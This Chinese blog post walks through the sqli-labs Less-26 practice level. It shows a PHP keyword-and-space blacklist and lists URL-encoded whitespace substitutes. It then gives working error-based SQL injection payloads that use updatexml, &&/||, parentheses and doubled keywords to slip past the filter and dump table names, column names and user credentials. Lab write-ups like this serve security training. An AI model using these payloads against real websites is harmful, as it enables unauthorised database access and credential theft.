• SQL注入 Less26(过滤空格和注释符,使用不带空格的报错注入)


    function blacklist($id)
    {
    	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
    	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
    	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
    	$id= preg_replace('/[--]/',"", $id);		//Strip out --
    	$id= preg_replace('/[#]/',"", $id);			//Strip out #
    	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
    	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
    	return $id;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    尝试绕过空格

    替换空格:

    1)mysql空白符:%09%0A、%0B、%0D、%20%0C、%A0、/**/2)正则空白符:%09%0A、%0B、%0D、%20
    
    25%为百分号,%25A0就是空白符
    
    %09——TAB键(水平)
    %0a——新建一行
    %0c——新的一页
    %0d return 功能
    %0b——TAB键(垂直)
    %a0——空格
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    内联注释常用于绕过空格
    尝试了一下,发现绕过不了空格
    由于Windows下无法使用一些特殊字符来替换空格,Linux可以,可以去Linux下尝试

    不使用空格的注入方法(报错注入)

    ?id=1'||updatexml(1,concat(0x7e,(database())),1)||'1' ='1
    ?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'

    %26是&的url编码。
    因为and前后都必须要有空格,所以使用&&
    但是&&不能够正常的提交给服务器,所以我们必须输入他的url编码%26%26才行。

    ||也可以,更好用

    ?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
    在这里插入图片描述

    ?id=1'%26%26updatexml(1,concat('~~',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security"))),1)%26%26'
    注意这里用括号包裹语句,绕过空格
    用括号()将每个查询的部分独立开
    在这里插入图片描述
    ?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="security"%26%26table_name="users")),0)%26%26'
    在这里插入图片描述
    near 'LIMIT 0,1'
    这个问题,之前报错注入也出现过,可能是多出了Limit 0,1导致构不成整条语句了
    也有可能是这里(table_schema="security"%26%26table_name="users")出现了问题

    ?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(username,passwoorrd))from(users))),0)%26%26'
    在这里插入图片描述

    https://blog.csdn.net/weixin_43901998/article/details/107340272
    https://blog.csdn.net/weixin_43901998/article/details/107340272

  • 相关阅读:
    [附源码]计算机毕业设计JAVA基于JSP学生信息管理系统
    2024双非网安保华五(中科大)电子信息经验分享
    Spring-AOP配置(XML)
    ChatGPT如何应对用户提出的伦理和道德问题?
    基于C++的社交应用的数据存储与实现
    位域的应用(花费时间过长,暂时放弃了,大小端的同步一半也不需要个人去考虑,但是可以作为debug的可能方向)
    矩阵求和(二维数组)
    通过使用Portainer来管理Docke环境以及使用私人镜像仓库
    Java面试题目大汇总(附参考答案)
    数据结构中的七大排序(Java实现)
  • 原文地址:https://blog.csdn.net/qq_55675216/article/details/125970675